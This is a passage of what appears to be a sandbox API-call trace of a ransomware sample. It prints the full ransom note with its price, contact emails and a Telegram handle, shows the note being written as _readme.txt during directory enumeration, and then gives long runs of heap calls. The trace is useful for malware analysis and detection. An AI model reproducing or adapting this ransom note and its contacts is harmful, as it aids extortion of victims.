tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 1173 [0059.279] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3132120 [0059.279] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.279] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0059.279] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned 1172 [0059.279] WriteFile (in: hFile=0x5c0, lpBuffer=0x3132120*, nNumberOfBytesToWrite=0x494, lpNumberOfBytesWritten=0x9aafb64, lpOverlapped=0x0 | out: lpBuffer=0x3132120*, lpNumberOfBytesWritten=0x9aafb64*=0x494, lpOverlapped=0x0) returned 1 [0059.280] CloseHandle (hObject=0x5c0) returned 1 [0059.280] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132120 | out: hHeap=0x670000) returned 1 [0059.280] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c9340 | out: hHeap=0x670000) returned 1 [0059.280] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a418 | out: hHeap=0x670000) returned 1 [0059.281] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.281] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.281] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13bfc4d0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bfc4d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.281] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.281] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13bfc4d0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bfc4d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.281] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.281] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13bfc4d0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13bfc4d0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bfc4d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.281] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13bfc4d0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13bfc4d0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bfc4d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.281] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.281] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.281] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5360 | out: hHeap=0x670000) returned 1 [0059.281] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5360 [0059.281] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.281] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.281] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.281] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.281] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.281] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.281] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.281] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.281] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.281] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.281] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.282] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.282] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.282] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.282] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.282] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.282] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.282] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.282] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.282] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.282] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.282] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.282] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.282] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.282] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.282] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.282] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.282] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.282] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.282] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.282] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.282] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.282] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.282] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.282] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.282] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.282] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.282] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.282] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.282] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.282] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.282] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.282] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.283] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.283] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.283] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.283] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.283] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.283] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.283] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.283] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.283] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.283] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.283] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.283] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.283] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.283] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.283] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.283] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.283] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.283] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.283] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.283] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.283] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.283] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.283] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.283] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.283] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.283] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.283] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.283] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.283] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.283] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.283] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.284] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.284] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.284] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.284] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.284] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.284] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.284] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.284] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.284] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.284] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.284] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.284] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.284] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.284] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.284] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.284] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.284] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.284] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.284] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.284] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.284] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.284] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.284] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.284] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.284] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.284] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.284] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.284] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.285] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.285] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.285] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.285] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.285] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.285] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.285] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.285] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.285] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.285] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.285] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.285] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.285] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.285] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.285] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.285] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.285] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.285] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.285] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.285] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.285] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.285] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.285] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.285] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.285] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.285] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.285] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.285] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.286] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.286] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.286] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.286] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.286] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.286] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.286] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.286] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.286] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.286] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.286] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.286] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.286] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.286] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.286] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.286] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.286] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.286] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.286] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.286] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.286] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.286] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.286] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.286] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.286] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.286] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.286] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.286] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.286] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.286] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.286] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.286] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.287] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.287] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.287] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.287] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.287] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.287] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.287] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.287] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.287] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.287] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.287] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.287] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.287] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.287] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.287] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.287] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.287] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.287] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.287] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.287] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.287] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.287] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.287] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.287] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.287] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.287] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.287] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.287] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.287] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.287] RtlAllocateHeap 